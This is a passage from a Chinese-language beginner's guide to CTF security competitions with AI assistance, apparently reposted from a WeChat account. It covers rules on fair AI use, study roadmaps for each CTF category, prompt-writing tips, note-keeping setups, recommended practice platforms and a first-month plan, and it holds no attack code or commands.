2.%20不正当竞争
%20 -%20用AI批量攻击靶机(DDoS)
%20 -%20AI自动爆破其他队的服务
%20 -%20用AI生成大量垃圾提交
3.%20隐瞒使用
%20 -%20明明用了AI,WP里不提
%20 -%20把AI的代码说成自己写的
%20 -%20用AI作弊后装作独立完成
⚠️%20后果:
-%20成绩作废
-%20禁赛处理
-%20名誉受损
-%20失去招聘/保研机会
💡%20判断标准:
问自己三个问题:
1.%20规则允许吗?(合规性)
2.%20如实报告吗?(诚信性)
3.%20主要靠自己吗?(能力性)
三个都是YES%20→%20放心用
有一个是NO%20→%20谨慎使用或不用
记住:
AI是学习工具,不是作弊工具
用AI提升能力,而不是掩盖无能
后续提升方向
深入学习各模块知识
Crypto方向:
第1阶段(1-2周):
-%20系统学习编码转换(Base系列/URL/HTML实体)
-%20古典密码(凯撒/维吉尼亚/栅栏/培根)
-%20常见哈希算法(MD5/SHA/CRC)
第2阶段(1-2个月):
-%20对称加密(AES/DES/RC4/TEA)
-%20非对称加密(RSA基础)
-%20数学基础(模运算/欧拉函数)
第3阶段(3-6个月):
-%20RSA攻击方法(小指数/共模/Coppersmith)
-%20椭圆曲线密码学
-%20流密码/分组密码深入
学习资源:
-%20《图解密码技术》(入门)
-%20CTF%20Wiki%20-%20Crypto篇%20https://ctf-wiki.org/crypto/introduction/
Web方向:
第1阶段(2-3周):
-%20SQL注入(万能密码/Union/报错/盲注)
-%20XSS(反射/存储/DOM)
-%20文件上传绕过
第2阶段(2-3个月):
-%20PHP反序列化
-%20SSRF/XXE
-%20代码审计基础
-%20JWT/OAuth漏洞
第3阶段(6个月+):
-%20Java反序列化
-%20Python沙箱逃逸
-%20Node.js原型链污染
-%20复杂业务逻辑漏洞
学习资源:
-%20OWASP%20Top%2010
-%20PortSwigger%20Web%20Security%20Academy
-%20HackTheBox%20/%20VulnHub靶场
Reverse方向:
第1阶段(1个月):
-%20汇编语言基础(x86/x64)
-%20C语言逆向
-%20IDA/Ghidra工具使用
第2阶段(3-6个月):
-%20常见算法识别(TEA/RC4/Base64)
-%20反调试技术
-%20简单壳识别
第3阶段(6个月+):
-%20虚拟机保护(VM)
-%20混淆还原
-%20Android逆向
-%20Windows驱动逆向
学习资源:
-%20《逆向工程权威指南》
-%20看雪论坛
-%20Reversing.kr练习平台
Pwn方向:
第1阶段(2个月):
-%20C/C++内存布局
-%20栈溢出基础(ret2text/ret2shellcode)
-%20GDB调试技巧
第2阶段(6个月):
-%20ROP链构造
-%20格式化字符串漏洞
-%20Canary/NX/PIE绕过
-%20ret2libc
第3阶段(1年+):
-%20堆利用(fastbin/tcache/unsorted%20bin)
-%20内核Pwn
-%20QEMU逃逸
-%20V8/浏览器漏洞
学习资源:
-%20《Hacking:%20The%20Art%20of%20Exploitation》
-%20pwn.college
-%20how2heap项目
Misc方向:
持续积累:
-%20常见隐写工具熟练使用
-%20Wireshark流量分析
-%20取证工具(Volatility/Autopsy)
-%20各种编码快速识别
-%20OSINT信息收集
学习方式:
-%20没有系统教材,靠刷题积累
-%20遇到新题型立刻记录
-%20建立自己的工具库和笔记
掌握更多AI高级用法
提示词工程进阶:
初级提示词(你现在的水平):
"这道题怎么做?"
"帮我写个脚本"
中级提示词(目标水平):
"这道题是【类型】,我已经尝试了【方法】但遇到【问题】,
请分析可能的原因并提供【具体步骤】"
高级提示词(专家水平):
使用思维链(Chain%20of%20Thought):
"让我们一步步分析:
1.%20首先识别题目类型:【观察】
2.%20然后分析已知信息:【列举】
3.%20接下来推断攻击思路:【推理】
4.%20最后制定具体步骤:【计划】
请按这个流程帮我分析"
学习资源:
-%20OpenAI%20Prompt%20Engineering%20Guide
-%20Anthropic%20Prompting%20Documentation
-%20Learn%20Prompting网站
多AI协作策略:
场景1:交叉验证
-%20Claude分析代码%20→%20千问复核%20→%20Gemini第三方意见
-%20三个AI结论一致%20→%20高可信度
-%20三个AI意见不同%20→%20人工判断或继续追问
场景2:功能分工
-%20Claude:逆向分析、代码理解(最强)
-%20ChatGPT:创意思路、多角度分析
-%20千问:中文资料、本土化问题
-%20Gemini:快速生成、大量数据处理
场景3:接力解题
-%20AI1提供初步分析
-%20把AI1的结果给AI2深化
-%20把AI2的结果给AI3验证
-%20最终人工综合判断
AI辅助学习体系:
日常学习:
-%20遇到不懂的概念立刻问AI
-%20让AI设计学习路径
-%20用AI生成练习题,靶场(比单纯解题更能深刻理解漏洞原理)
刷题复盘:
-%20做完题让AI总结知识点
-%20AI帮你关联相似题目
-%20AI生成这类题的解题模板
-%20AI预测可能的衍生变化
知识内化:
-%20用AI把碎片知识整理成体系
-%20AI生成思维导图
-%20AI制作记忆卡片(Anki)
-%20AI设计阶段性测试
构建个人知识库(终极目标)
知识库架构(升级版):
📁%20CTF-Master-Knowledge-Base/
│
├──%20📁%2000-Dashboard/%20 %20 %20 %20 %20 %20 %20 #%20仪表盘
│%20 %20├──%20📄%20学习进度追踪.md%20 %20 %20 %20 %20#%20进度可视化
│%20 %20├──%20📄%20技能树评估.md%20 %20 %20 %20 %20 %20#%20各方向能力评分
│%20 %20├──%20📄%20刷题统计.md%20 %20 %20 %20 %20 %20 %20#%20题目数量/难度分布
│%20 %20└──%20📄%20月度总结.md%20 %20 %20 %20 %20 %20 %20#%20每月复盘
│
├──%20📁%2001-Competitions/%20 %20 %20 %20 %20 %20#%20比赛记录(原有)
│%20 %20└──%20...
│
├──%20📁%2002-Practice/%20 %20 %20 %20 %20 %20 %20 %20#%20练习题(原有)
│%20 %20└──%20...
│
├──%20📁%2003-Knowledge/%20 %20 %20 %20 %20 %20 %20 #%20知识笔记(扩展)
│%20 %20├──%20📁%20原理讲解/
│%20 %20│%20 %20├──%20📄%20栈溢出原理.md
│%20 %20│%20 %20├──%20📄%20RSA数学基础.md
│%20 %20│%20 %20└──%20...
│%20 %20├──%20📁%20解题套路/
│%20 %20│%20 %20├──%20📄%20SQL注入套路总结.md
│%20 %20│%20 %20├──%20📄%20常见编码识别流程.md
│%20 %20│%20 %20└──%20...
│%20 %20├──%20📁%20工具使用/
│%20 %20│%20 %20├──%20📄%20IDA%20Pro使用技巧.md
│%20 %20│%20 %20├──%20📄%20Burp%20Suite完全指南.md
│%20 %20│%20 %20└──%20...
│%20 %20└──%20📁%20漏洞复现/
│%20 %20 %20 %20├──%20📄%20CVE-2024-XXXX复现.md
│%20 %20 %20 %20└──%20...
│
├──%20📁%2004-Tools/%20 %20 %20 %20 %20 %20 %20 %20 %20 #%20工具和脚本(扩展)
│%20 %20├──%20📁%20auto-scripts/%20 %20 %20 %20 %20 #%20自动化脚本
│%20 %20│%20 %20├──%20📄%20题目下载器.py
│%20 %20│%20 %20├──%20📄%20编码批量转换.py
│%20 %20│%20 %20└──%20...
│%20 %20├──%20📁%20templates/%20 %20 %20 %20 %20 %20 %20#%20代码模板
│%20 %20│%20 %20├──%20📄%20pwntools_template.py
│%20 %20│%20 %20├──%20📄%20crypto_solver_template.py
│%20 %20│%20 %20└──%20...
│%20 %20└──%20📁%20oneliners/%20 %20 %20 %20 %20 %20 %20#%20常用单行命令
│%20 %20 %20 %20└──%20📄%20常用命令速查.md
│
├──%20📁%2005-Resources/%20 %20 %20 %20 %20 %20 %20 #%20学习资源(原有)
│%20 %20└──%20...
│
├──%20📁%2006-Templates/%20 %20 %20 %20 %20 %20 %20 #%20模板文件(原有)
│%20 %20└──%20...
│
├──%20📁%2007-AI-Prompts/%20 %20 %20 %20 %20 %20 %20#%20AI提示词库(新增)
│%20 %20├──%20📄%20Crypto提示词.md
│%20 %20├──%20📄%20Web提示词.md
│%20 %20├──%20📄%20Reverse提示词.md
│%20 %20└──%20📄%20通用提示词.md
│
├──%20📁%2008-Mind-Maps/%20 %20 %20 %20 %20 %20 %20 #%20思维导图(新增)
│%20 %20├──%20🎨%20CTF知识体系.xmind
│%20 %20├──%20🎨%20Web安全脑图.png
│ └── ...
│
└── 📁 09-Archived/ # 归档(新增)
└── 过时或不再使用的笔记
知识库维护节奏:
每日(5-10分钟):
- 记录今天刷的题(快速笔记)
- 保存AI对话(如果有用)
- 更新进度追踪
每周(1-2小时):
- 整理本周笔记,补充细节
- 把快速笔记扩展为完整WP
- 提炼知识点,更新专题笔记
- 运行索引生成脚本
每月(2-3小时):
- 月度总结:回顾学到了什么
- 技能评估:哪些方向进步了
- 查漏补缺:哪些知识点还薄弱
- 知识重构:整理重复/过时内容
每季度(半天):
- 大扫除:清理不用的笔记
- 重新规划:下季度学习目标
- 工具升级:更新脚本和模板
- 备份导出:防止数据丢失
知识库高级玩法:
Dataview自动化(Obsidian插件):
自动生成各种统计表格:
- "我做过的所有Crypto题"
- "难度≥3星且未解决的题目"
- "最近30天的刷题记录"
- "标签为#栈溢出的所有笔记"
Excalidraw画图:
- 画ROP链示意图
- 画内存布局
- 画漏洞利用流程
- 画知识关联图谱
Git版本控制:
- 整个知识库用Git管理
- 每周commit一次
- 可以看到自己的成长轨迹
- 多设备同步(GitHub私有仓库)
本地AI检索(RAG):
- 用LangChain处理Markdown
- 向量化所有笔记
- 本地Ollama推理
- "我记得做过类似题..."立刻搜到
推荐资源
CTF学习平台(从易到难)
新手友好:
1. BUUCTF(buuoj.cn)
- 中文平台,题目丰富
- 按方向分类,难度标注清晰
- 有WP区,卡住可以看
推荐:Web、Crypto方向入门
2. 攻防世界(adworld.xctf.org.cn)
- 新手区题目质量高
- 闯关模式,循序渐进
- 官方题解详细
推荐:全方向基础训练
3. PicoCTF(picoctf.org)
- 面向学生的CTF
- 题目设计友好,有教育性
- 英文平台,锻炼阅读
推荐:综合能力培养
4. 好靶场(loveli.com.cn)
- 国内优质靶场平台
- 提供真实渗透环境
- 在线虚拟机,无需本地搭建
- 适合Web安全实战训练
推荐:Web渗透练习
进阶练习:
5. CTFHub(ctfhub.com)
- 技能树体系
- Web方向题目多
- 有靶场环境
推荐:Web深入学习
6. CTFshow(ctf.show)
- 周赛活跃
- 题目新颖
- 社区氛围好
推荐:保持手感
7. HackTheBox(hackthebox.com)
- 真实渗透环境
- 难度较高
- 国际化平台
推荐:Pwn、Reverse进阶
8. VulnHub(vulnhub.com)
- 虚拟机镜像下载
- 本地搭建靶机
- 真实系统环境
- 完整渗透流程
推荐:综合渗透练习
9. TryHackMe(tryhackme.com)
- 引导式学习路径
- 在线虚拟机环境
- 从基础到进阶
- 证书系统完善
推荐:系统化学习
10. Root-Me(root-me.org)
- 欧洲知名平台
- 题目分类细致
- 难度梯度合理
- 支持多语言
推荐:全方向练习
专项训练:
Web安全:
- WebGoat(OWASP项目)
- Web漏洞教学平台
- 互动式课程
- 本地部署
- DVWA(Damn Vulnerable Web Application)
- 经典Web漏洞靶场
- 多种难度级别
- 开源免费
- bWAPP(Buggy Web Application)
- 100+个漏洞场景
- 覆盖OWASP Top 10
- 详细文档
- Pikachu漏洞练习平台
- 国产漏洞靶场
- 中文环境友好
- 涵盖常见漏洞类型
Pwn/Reverse:
- pwnable.kr
- Pwn方向专精
- 韩国顶级平台
- 难度递进
- pwnable.tw
- 台湾Pwn平台
- 高质量题目
- 社区活跃
- Reversing.kr
- 逆向专项训练
- 各种保护机制
- 循序渐进
- Crackmes.one
- 逆向练习题库
- 用户上传题目
- 难度多样
内存取证:
- MemLabs(GitHub)
- 内存取证练习
- Volatility实战
- 免费下载
密码学:
- CryptoHack(cryptohack.org)
- 密码学专项平台
- 互动式课程
- 从零到精通
- 强烈推荐!
高手竞技:
11. XCTF(xctf.org.cn)
- 国内顶级赛事平台
- 往届比赛题库
- 选拔赛资格
推荐:冲击国赛
12. CTFtime(ctftime.org)
- 全球CTF日历
- 战队排名
- 比赛信息聚合
推荐:关注国际赛事
13. 0xGame(https://www.0xgame.com/)
- 清华大学主办
- 新生赛友好
- 题目质量高
推荐:学生向比赛
14. i春秋(ichunqiu.com)
- 在线课程+靶场
- 企业级培训
- 认证体系
推荐:职业化路线
靶场搭建(本地练习):
Docker一键部署:
- Vulhub
- 各种漏洞环境
- Docker快速搭建
- GitHub开源
- VulnStack
- 内网渗透靶场
- 红日安全团队
- 真实企业环境
- Vulfocus
- 漏洞集成平台
- Web界面管理
- 一键启动
虚拟机镜像:
- Metasploitable 2/3
- 故意留漏洞的Linux
- Metasploit练习
- 经典靶机
- OWASP BWA(Broken Web Apps)
- 多个Web靶场集合
- 一个虚拟机搞定
- 全面覆盖
平台选择建议:
按学习阶段选择:
【第1个月】(新手期)
主攻:BUUCTF + 攻防世界
辅助:好靶场(Web方向)
目标:完成新手区所有题目
【第2-3个月】(成长期)
主攻:CTFHub + CTFshow
辅助:CryptoHack(Crypto方向)
pwnable.kr(Pwn方向)
目标:能做简单-中等难度题
【第4-6个月】(进阶期)
主攻:HackTheBox + TryHackMe
辅助:VulnHub本地靶场
参加:周赛、月赛保持手感
目标:能独立完成中等题
【6个月+】(高手期)
关注:CTFtime国际赛事
练习:专项靶场+历届真题
参加:XCTF、强网杯等国赛
目标:冲击奖项、组建战队
按方向选择:
Web安全:
好靶场 → DVWA → CTFHub → HackTheBox
Pwn/Reverse:
BUUCTF → pwnable.kr → pwnable.tw → CTFtime赛事
Crypto:
BUUCTF → CryptoHack → 攻防世界 → 专项比赛
Misc:
BUUCTF → 攻防世界 → CTFshow → 综合比赛
综合训练:
TryHackMe(最系统)
Root-Me(最全面)
HackTheBox(最真实)
平台使用技巧:
💡 高效刷题策略:
1. 不要贪多
- 专注1-2个主力平台
- 其他平台作为补充
- 题目质量>数量
2. 按难度递进
- 先把简单题全做完
- 再挑战中等题
- 别一开始就碰难题
3. 分类专项突破
- 一周专攻一个方向
- 同类题目集中做
- 形成肌肉记忆
4. 做题笔记必记
- 用Obsidian记录
- 包含题目+WP+知识点
- 定期回顾复习
5. 靶场环境利用
- 有在线环境优先用
- 本地搭建作备选
- 练完记得关闭容器
6. 参加定期比赛
- 周赛保持手感
- 月赛检验水平
- 年度大赛冲奖
免费 vs 付费:
完全免费:
✅ BUUCTF(题目全免费)
✅ 攻防世界(核心功能免费)
✅ CryptoHack(完全开源)
✅ VulnHub(镜像免费下载)
✅ Vulhub(开源Docker)
✅ pwnable系列(免费)
部分免费:
⚠️ HackTheBox(免费版功能有限,VIP $10/月)
⚠️ TryHackMe(免费版够用,Premium $10.99/月)
⚠️ CTFHub(基础免费,会员额外题目)
⚠️ i春秋(部分课程收费)
完全付费:
💰 某些企业级培训平台
💰 认证考试(OSCP/OSWE等)
新手建议:
- 前3个月只用免费平台
- 免费平台题目够刷1年+
- 确定方向后再考虑付费
- 学生可申请教育优惠
平台访问问题:
国内平台:
✅ 直接访问,无需翻墙
- BUUCTF、攻防世界、CTFHub
- CTFshow、i春秋、好靶场
国外平台:
⚠️ 可能需要翻墙或较慢
- HackTheBox(需要VPN)
- TryHackMe(速度一般)
- CryptoHack(GitHub Pages,可能慢)
解决方案:
1. 优先使用国内平台
2. 国外平台配合镜像加速
3. VulnHub镜像可在国内云盘找
4. 或使用国内VPS中转
AI提示词工程教程
入门级:
📘 Learn Prompting(中文)
网址:https://www.learnprompting.org/zh-Hans/docs/intro
特点:系统化教程,从零开始
推荐章节:基础、中级技巧、应用
📘 OpenAI Prompt Engineering Guide
网址:https://platform.openai.com/docs/guides/prompt-engineering
特点:官方权威,案例丰富
语言:英文(AI辅助翻译)
📘 Anthropic Prompting Guide(Claude专用)
网址:https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview
特点:Claude最佳实践
推荐:必读,Claude提问必备
进阶级:
📘 Prompt Engineering Guide(GitHub)
网址:https://github.com/dair-ai/Prompt-Engineering-Guide
特点:技术深度,论文级
推荐:理解原理
📘 Mr. Ranedeer AI Tutor(示例)
网址:搜索"Mr Ranedeer prompt"
特点:超长提示词案例
学习:如何设计复杂提示词
📺 YouTube频道推荐:
- "AI Explained"(提示词技巧)
- "Matt Wolfe"(AI工具评测)
- "All About AI"(案例教学)
实战技巧:
💡 向AI学习提示词:
"我想学习如何更好地向你提问,请:
1. 分析我刚才的提问有什么问题
2. 给我一个改进版的提问
3. 解释为什么改进版更好
4. 给我5个类似场景的提问模板
针对CTF场景,重点教我如何:
- 描述问题更清晰
- 提供关键信息
- 引导你一步步思考
- 多轮追问深入"
AI会成为你的提示词老师!
技术社区与博客
中文社区:
🌐 看雪论坛(pediy.com)
- 高质量技术帖
- 大佬云集
🌐 吾爱破解(52pojie.cn)
- 逆向技术讨论
- 工具分享
- 新手友好
🌐 先知社区(xz.aliyun.com)
- Web安全为主
- 漏洞分析
- 厂商博客
🌐 FreeBuf(freebuf.com)
- 安全资讯
- 技术文章
- 行业动态
🌐 安全客(anquanke.com)
- 综合性安全媒体
- 活动信息
- 技术专栏
英文社区(必关注):
🌐 GitHub(github.com)
- CTF工具源码
- WP仓库
- 开源项目
🌐 Reddit(reddit.com)
- r/netsec(网络安全)
- r/ReverseEngineering(逆向)
- r/AskNetsec(问答)
- r/ClaudeAI(Claude讨论)
🌐 Stack Overflow(stackoverflow.com)
- 技术问答
- 代码调试
- 工具使用
🌐 HackerOne / Bugcrowd
- 漏洞赏金平台
- 真实漏洞案例
- 学习实战思路
个人博客推荐:
📝 国内博主:
- "离别歌"(Web安全) https://www.leavesongs.com/
- "Nu1L Team"(战队博客) https://www.nu1l.com/
- 狼组安全团队公开知识库 https://wiki.wgpsec.org/
📝 国外博主:
- LiveOverflow(YouTube+博客)
- John Hammond(CTF教学)
- IppSec(HackTheBox WP)
💡 如何发现好博客:
1. 遇到好WP,关注作者
2. CTFtime队伍主页有链接
3. 问AI:"推荐CTF技术博客"
4. Twitter关注#CTF标签
推荐书籍(系统学习)
我自己是搜网络教程,在线文档学习的,很少买大部头的数,各位自己按需问AI推荐,找电子版,不要买纸质版,注意形成自己的笔记。
结语:AI是工具,思维是核心
AI时代的CTF:机遇与挑战并存
✨ AI带来的机遇:
1. 降低入门门槛
- 以前:看一周教程才能入门
- 现在:AI带你24小时速成
2. 加速学习过程
- 以前:卡一道题可能卡几天
- 现在:AI几分钟给思路
3. 拓展能力边界
- 以前:只能专精1-2个方向
- 现在:AI辅助下能涉猎更多
4. 提升竞争力
- 会用AI的人 > 不会用AI的人
- 善用AI的人 > 滥用AI的人
⚠️ AI带来的挑战:
1. 能力虚高的陷阱
- AI帮你做题 ≠ 你会做题
- 比赛可能没网/没AI
- 面试要现场手写代码
2. 思维依赖的风险
- 失去独立思考能力
- 遇到新问题束手无策
- 创造力被AI限制
3. 竞争加剧
- 所有人都在用AI
- 门槛降低 = 竞争更激烈
- 需要比别人用得更好
4. 规则争议
- 哪些比赛可以用AI?
- 用到什么程度算公平?
- 如何证明自己的能力?
人类vs AI:不可替代的核心竞争力
🤖 AI擅长的:
- 知识检索(记住海量知识点)
- 代码生成(写脚本快速准确)
- 模式识别(识别已知算法)
- 重复性工作(批量处理)
- 多方案生成(提供N种思路)
🧠 人类擅长的:
- 直觉判断(这题"感觉"不对劲)
- 创造性思维(全新的攻击角度)
- 上下文理解(理解出题人意图)
- 战略规划(比赛时间分配)
- 价值判断(哪个方向值得深入)
- 经验迁移(这题和XX年那道相似)
- 灵活变通(AI卡住了换思路)
💡 未来的赢家:
不是"人类",也不是"AI"
而是"善用AI的人类"
公式:
普通人 + AI = 进步较快的人
聪明人 + AI = 超强的人
懒惰的人 + AI = 依然懒惰
正确的成长路径
阶段1:借助AI入门(现在)
目标:快速了解CTF是什么
方法:跟着AI做题,理解思路
时长:1个月,完成20-30道题
标志:能参加比赛,不再完全懵逼
阶段2:减少AI依赖(1-3个月)
目标:培养独立解题能力
方法:先自己想,实在卡了再问AI
时长:3个月,完成50-100道题
标志:简单题能独立完成
阶段3:与AI协作(3-6个月)
目标:形成自己的方法论
方法:你主导,AI辅助验证
时长:持续练习,参加5-10场比赛
标志:有自己的解题风格
阶段4:超越AI(6个月+)
目标:AI是你的助手,不是老师
方法:用AI处理琐事,你做决策
时长:长期积累
标志:能解出AI都做不出的题
最终目标:
不是"不用AI",而是"善用AI"
AI是你的外挂,但大脑是你的
行动清单:从今天开始
立刻可以做的(今天)
✅ 第1小时:注册AI账号
- Claude / ChatGPT / 千问 至少2个
- 测试能否正常对话
- 保存账号密码
✅ 第2小时:注册CTF平台
- BUUCTF账号
- 攻防世界账号
- 浏览题库,感受难度
✅ 第3小时:做第一道题
- 找个Crypto签到题
- 问AI怎么做
- 理解AI的思路
- 成功拿到flag → 成就感!
✅ 第4小时:建立笔记系统
- 安装Obsidian
- 创建第一个笔记:今天学到了什么
- 保存AI对话记录
✅ 第5-24小时:持续练习
- 每完成一道题就记录
- 遇到问题就问AI
- 感到疲惫就休息(重要!)尤其要保护眼睛和颈椎,少吃高嘌呤食物。
第一周计划
周一-周二:Crypto方向
- 完成5道编码转换题
- 完成3道古典密码题
- 建立Crypto笔记
周三-周四:Web方向
- 完成3道SQL注入题
- 完成2道XSS题
- 学习Burp Suite基础
周五-周六:Misc方向
- 完成3道图片隐写题
- 完成2道压缩包题
- 学习binwalk/strings
周日:复盘总结
- 整理本周所有笔记
- 更新知识库索引
- 规划下周学习内容
第一个月目标
量化目标:
✅ 完成30道题(签到+简单)
✅ 参加1场在线比赛
✅ 建立10条笔记
✅ 熟练使用3个AI平台
✅ 掌握5个常用工具
能力目标:
✅ 能独立解决Crypto签到题
✅ 在AI辅助下解决Web基础题
✅ 理解CTF的基本套路
✅ 不再对比赛感到恐惧
✅ 知道自己的优势方向
心态目标:
✅ 接受"做不出题很正常"
✅ 享受解题过程
✅ 形成自己的学习节奏
✅ 找到志同道合的队友
长期规划(供参考)
3个月:
- 完成100道题
- 参加5场比赛
- 至少1个方向达到中级水平
6个月:
- 完成200道题
- 稳定进入比赛中游
- 建立完整知识体系
1年:
- 完成500道题
- 有机会冲击区域赛奖项
- 可以指导新人入门
记住:
这只是参考,不是必须完成的KPI
每个人节奏不同,找到适合自己的
全文完
🎓 恭喜你读完了整个指南! 📖 现在把它保存下来,随时查阅 💪 然后,开始行动 🚀 24小时后,你就不再是CTF小白了
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-静安 泷羽Sec静安《AICTFer一天速成指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论